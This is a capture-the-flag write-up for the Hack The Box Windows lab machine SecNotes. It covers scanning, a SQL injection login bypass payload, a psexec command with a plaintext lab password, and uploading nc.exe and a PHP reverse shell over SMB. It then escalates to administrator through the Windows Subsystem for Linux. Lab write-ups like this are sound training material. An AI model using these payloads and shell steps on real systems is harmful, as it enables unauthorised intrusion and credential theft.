# HTB | SecNotes

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/SecNotes).

#### Skill Learned

* SQLi authentication bypass
* Windows Subsystem for Linux (WSL) Enumeration

## NMAP/ Rustscan

**IP**: 10.10.10.97

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FZSdWvsR8JcvNT38M2SON%2Fimage.png?alt=media&#x26;token=fdde3139-fdda-4722-ad80-940f1262f9c6" alt=""><figcaption><p>rustscan -a 10.10.10.97</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FFeRCqpevcogHRxA12G4Y%2Fimage.png?alt=media&#x26;token=298495a5-a56f-44b4-b27e-0d35de9644f9" alt=""><figcaption><p>nmap scan for 80,445 and 8808</p></figcaption></figure>

### Port 80

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FU5x1x9qhvqtl6HpDPSvv%2Fimage.png?alt=media&#x26;token=b010b38b-e8e1-4846-a484-47638a4f9c4d" alt=""><figcaption><p>port 80</p></figcaption></figure>

Let's run Gobuster for .php

```
gobuster dir -u http://10.10.10.97/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F2OPosdji6VruuSX3uVaQ%2Fimage.png?alt=media&#x26;token=f785acae-620f-4fca-a7fe-badf214cc2ad" alt=""><figcaption><p>gobuster</p></figcaption></figure>

Let's try admin: admin

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1trPOa4QLUX0oDILSM6g%2Fimage.png?alt=media&#x26;token=ef107b27-8c8a-4f57-bd05-4f6c621451c8" alt=""><figcaption><p>admin:admin</p></figcaption></figure>

Let's try for SQL injection

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FDnXUGSdPyyBnlr7Phzfp%2Fimage.png?alt=media&#x26;token=2dbb0c2c-bdf2-40cf-bf5d-999f276bf10f" alt=""><figcaption><p>SQL Injection</p></figcaption></figure>

It's giving no username account

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FeOxZcaI3G0Aizq5cG5w0%2Fimage.png?alt=media&#x26;token=f9642e70-1323-45dc-88ec-f44d09a04fa0" alt=""><figcaption></figcaption></figure>

Let's try to make one and login

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F6GdhagQVLCLpLfouqSvD%2Fimage.png?alt=media&#x26;token=74a1b675-0512-4702-b3fc-cbaa27b20995" alt=""><figcaption><p>login as ' OR 1 OR '</p></figcaption></figure>

this means we have SQL injection in sign up/ login and we found some cred for Tyler

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F3a6q8VEEZWVfiyOKzPuJ%2Fimage.png?alt=media&#x26;token=4712a61b-7371-42bc-bc8c-0ccff367f3c7" alt=""><figcaption><p>tyler creds</p></figcaption></figure>

## Foothold/ shell

Since we git the password for Tyler we can try psexec with the cred

```
psexec.py tyler:'92g!mA8BGjOirkL%OG*&'@10.10.10.97
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fzgy4WyMLf32HakFUtNyQ%2Fimage.png?alt=media&#x26;token=cfa86692-1e4d-4347-affd-d35b2b041cac" alt=""><figcaption><p>psexec.py tyler:'92g!mA8BGjOirkL%OG*&#x26;'@10.10.10.97</p></figcaption></figure>

It is giving an error, but we found a share *new-site* Let's try smbclient

```
smbclient \\10.10.10.97\new-site -U tyler
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fqc2Q8RRDZW8laxlgc6u9%2Fimage.png?alt=media&#x26;token=2b5db6cb-47fd-48c4-8b60-aa4face2c16f" alt=""><figcaption><p>smbclient \\10.10.10.97\new-site -U tyler</p></figcaption></figure>

We saw port 8080 have IIS configured We can try to run for reverse shell,

* and upload the [nc.exe](https://github.com/int0x33/nc.exe/blob/master/nc.exe) to the server.
* upload rev.php to the server.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fi359go5qr5lAhenOd2eU%2Fimage.png?alt=media&#x26;token=1bd3632a-b35e-486a-b075-fc1ef56b6ca8" alt=""><figcaption><p>cat rev.php</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FKhLbSBBw2RGJZQrPI7iH%2Fimage.png?alt=media&#x26;token=45c0b85a-6daf-4367-99e0-d8610683d35f" alt=""><figcaption><p>put rev.php</p></figcaption></figure>

Start nc listener and Load the <http://10.10.10.97:8808/rev.php>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FcrP1A899PQnpF6tD6OSM%2Fimage.png?alt=media&#x26;token=22e80e0d-cee4-494e-b9d9-a5c80990520a" alt=""><figcaption><p>nc -nlvp 1234</p></figcaption></figure>

we have the shell

Found the user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fjhg1eIH8qyLSB9w1WePX%2Fimage.png?alt=media&#x26;token=a7c8eabf-9120-4a4b-a362-3caeb1359603" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

We found bash.exe and wsl.exe

```
where /R c:\windows bash.exe 
where /R c:\windows wsl.exe
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FbHNb5Dq0XFehwXvqYDIJ%2Fimage.png?alt=media&#x26;token=96a740d5-21e0-4b39-a123-39c7a4f14927" alt=""><figcaption></figcaption></figure>

Let's run the bash.exe and spawn tty

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FXMmNiiPiOb6BYiY0bCWF%2Fimage.png?alt=media&#x26;token=f1bb6856-2524-45cb-9951-36e3a95e3b01" alt=""><figcaption></figcaption></figure>

We found admin cred

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FtW1iYvwkC9YEF2ChMgBz%2Fimage.png?alt=media&#x26;token=89f695c5-832e-4f2d-9e56-d98d0d9d2011" alt=""><figcaption><p>admin cred</p></figcaption></figure>

we can connect via smbclient

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F5AfZ4k8QKIbrSj9lMdu1%2Fimage.png?alt=media&#x26;token=05b93c2d-ea77-481b-851a-8643f888bb80" alt=""><figcaption><p>smbclient</p></figcaption></figure>

Let's try to get a shell via Psexec

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fzkic75bZH5NIO7ETxfQ6%2Fimage.png?alt=media&#x26;token=c79f574e-69a7-4765-b320-0bdfaaea259d" alt=""><figcaption><p>psexec</p></figcaption></figure>

and we have a shell Found root.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FxveA9Dtqlw3YwsX1BjYb%2Fimage.png?alt=media&#x26;token=f2788918-16ae-4a9a-bc28-df14618538aa" alt=""><figcaption><p>root.txt</p></figcaption></figure>
